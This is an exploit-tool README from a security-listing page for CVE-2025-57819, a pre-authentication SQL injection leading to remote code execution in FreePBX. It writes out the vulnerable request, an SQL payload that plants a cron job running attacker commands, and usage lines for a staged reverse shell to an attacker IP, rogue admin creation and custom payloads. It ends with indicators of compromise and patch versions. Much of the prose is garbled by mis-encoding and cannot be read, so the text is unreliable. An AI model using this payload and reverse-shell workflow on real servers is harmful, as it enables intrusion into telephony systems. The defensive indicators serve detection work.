## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JEANBACK1-CVE-2025-57819-EXPLOIT
# CVE-2025-57819 β FreePBX μ¬μ μΈμ¦ SQL μ½μ
μ ν΅ν μ격 μ½λ μ€ν
**CVE-2025-57819** λ₯Ό μν μ¬μΈμ μ΅μ€νλ‘μμ
λλ€. FreePBXμ μλν¬μΈνΈ λͺ¨λμ μλ μΈμ¦λμ§ μμ SQL μ½μ
μ·¨μ½μ μΌλ‘, ν¬λ‘ μμ
μ½μ
μ ν΅ν΄ μ격 μ½λ μ€νμΌλ‘ μ΄μ΄μ§λλ€.
* **CVSS** : 9.8 (μ¬κ°) β CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
* **CISA KEV** : 2025λ
8μ 29μΌ μΆκ°
* **μν₯** : Sangoma FreePBX 15, 16, 17, μλν¬μΈνΈ λͺ¨λ < 15.0.66 / < 16.0.89 / < 17.0.3
* **ν¨μΉ λ²μ ** : endpoint 15.0.66, 16.0.89, 17.0.3
## μ·¨μ½μ μμ½
FreePBXλ μΈμ¦ μμ΄ `admin/ajax.php?module=FreePBX\modules\endpoint\ajax` μλν¬μΈνΈλ₯Ό λ
ΈμΆν©λλ€ (**CWE-288**). `brand` λ§€κ°λ³μκ° μ΄κ· μ²λ¦¬ μμ΄ SQL 쿼리μ μ§μ μ λ¬λμ΄ (**CWE-89**), 곡격μκ° `asterisk` λ°μ΄ν°λ² μ΄μ€μ μμμ SQL λ¬Έμ μ£Όμ
ν μ μμ΅λλ€.
### 곡격 체μΈ
root@kitploit:~
[Unauthenticated HTTP request]
β
βΌ
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
β
βΌ
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
β
βΌ
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
β
βΌ
Remote Code Execution
## μ΅μ€νλ‘μ κΈ°λ₯
μ΄ μ΅μ€νλ‘μμ μΈ κ°μ§ λͺ¨λλ₯Ό μ§μν©λλ€:
### 1\. μ€ν
μ΄μ§λ μλ°©ν₯ μ
Έ (κΈ°λ³Έκ°)
1. `msfvenom`μ ν΅ν΄ `linux/x64/shell_reverse_tcp` λ°μ΄λ리 μμ±
2. λ°μ΄λ리λ₯Ό μ 곡νκΈ° μν HTTP μλ² μμ
3. μ
Έμ μν TCP 리μ€λ μμ
4. SQLiλ₯Ό ν΅ν΄ λ°μ΄λ리λ₯Ό λ€μ΄λ‘λ λ° μ€ννλ ν¬λ‘ μμ
μ£Όμ
5. ν¬λ‘ μ΄ μ€νλλ©΄ λνν μ
Έ νλ
6. μ’
λ£ μ μ£Όμ
λ ν¬λ‘ μμ
μ 리
root@kitploit:~
python3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
**μμ:**
root@kitploit:~
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
μλ°©ν₯ μ
Έμλ ν¬νΈ 4452λ₯Ό, HTTP μ€ν
μ΄μ§ μλ²μλ ν¬νΈ 4453μ μ¬μ©ν©λλ€.
### 2\. κ΄λ¦¬μ μ¬μ©μ μμ± (`--create-user`)
SQLiλ₯Ό ν΅ν΄ μλ‘μ΄ FreePBX κ΄λ¦¬μ κ³μ μ μμ±ν©λλ€. μλ°©ν₯ μ
Έ, 리μΉλ°±, λ°μ΄λλ¦¬κ° νμνμ§ μμ΅λλ€.
root@kitploit:~
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
### 3\. μ¬μ©μ μ μ νμ΄λ‘λ (`--payload <path>`)
msfvenomμΌλ‘ μμ±νλ λμ μμ μ ELF λ°μ΄λ리λ₯Ό μ¬μ©ν©λλ€.
root@kitploit:~
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
## μꡬ μ¬ν
* Python 3.6+
* `requests` λΌμ΄λΈλ¬λ¦¬ (`pip install requests`)
* **μ€ν
μ΄μ§ λͺ¨λ** : Metasploit (`msfvenom`) λλ `--payload`λ₯Ό μ΄μ©ν μ¬μ©μ μ μ νμ΄λ‘λ
* **`--create-user` λͺ¨λ**: Python + requests μΈμλ νμνμ§ μμ
## μλ λ°©μ
### SQL μ½μ
벑ν°
μ·¨μ½ν μλν¬μΈνΈλ λ€μκ³Ό κ°μ΅λλ€:
root@kitploit:~
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
`brand` λ§€κ°λ³μκ° μ΄κ· μ²λ¦¬ μμ΄ SQL INSERTμ μ°κ²°λ©λλ€. μ΅μ€νλ‘μμ λ€μκ³Ό κ°μ΄ μ£Όμ
μ ꡬμ±ν©λλ€:
root@kitploit:~
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
λμ `--`λ μλ 쿼리μ λλ¨Έμ§ λΆλΆμ μ£Όμ μ²λ¦¬ν©λλ€.
### ν¬λ‘ μ€ν
FreePBXλ Asterisk cron νμ μμ€ν
μ μ¬μ©ν©λλ€. ν¬λ‘ μμ
μ λ§€ λΆλ§λ€ νμΈλ©λλ€. μ½μ
λ μμ
μ μΌμ (`* * * * *`)μ΄ μΌμΉνλ©΄ λͺ
λ Ήμ΄ `asterisk` μμ€ν
μ¬μ©μλ‘ μ€νλ©λλ€.
### μ 리
μΈμ
μ΄ μ’
λ£λκ±°λ νμμμλλ©΄, μ΅μ€νλ‘μμ DELETE SQLiλ₯Ό μ μ‘νμ¬ `cron_jobs`μμ μ£Όμ
λ ν¬λ‘ μμ
μ μ κ±°ν©λλ€.
## μΉ¨ν΄ μ§ν
* `asterisk.cron_jobs`μ 무μμ λͺ¨λ/μμ
μ΄λ¦μΌλ‘ μμμΉ λͺ»ν νλͺ©μ΄ λνλ¨
* FreePBX μλ²μμ λμ ν¬νΈμ μΈλΆ IPλ‘ ν₯νλ μμλ°μ΄λ HTTP μμ²
* `asterisk` μ¬μ©μμ μλ°©ν₯ μ
Έ μ°κ²°
* `ampusers`μ 무μμ μ κ΄λ¦¬μ κ³μ μ΄ μμ±λ¨ (`--create-user` λͺ¨λμΈ κ²½μ°)
## μν μ‘°μΉ
μλν¬μΈνΈ λͺ¨λμ ν¨μΉλ λ²μ μΌλ‘ μ
λ°μ΄νΈνμΈμ:
* **15** : >= 15.0.66
* **16** : >= 16.0.89
* **17** : >= 17.0.3
## μ°Έκ³ μλ£
* NVD β CVE-2025-57819
* GitHub Security Advisory β GHSA-m42g-xg4c-5f3h
* CISA Known Exploited Vulnerabilities
* watchTowr Labs
* FreePBX Community Advisory
## λ©΄μ±
μ‘°ν
μ΄ μννΈμ¨μ΄λ κ΅μ‘ λ° μΉμΈλ 보μ ν
μ€νΈ λͺ©μ μΌλ‘λ§ μ 곡λ©λλ€. μμ νμ§ μκ±°λ ν
μ€νΈμ λν λͺ
μμ κΆνμ΄ μλ μμ€ν
μ λν λ¬΄λ¨ μ¬μ©μ λΆλ²μ
λλ€. μμ±μλ μ΄λ ν μ€μ©μ λν΄μλ μ±
μμ§μ§ μμ΅λλ€.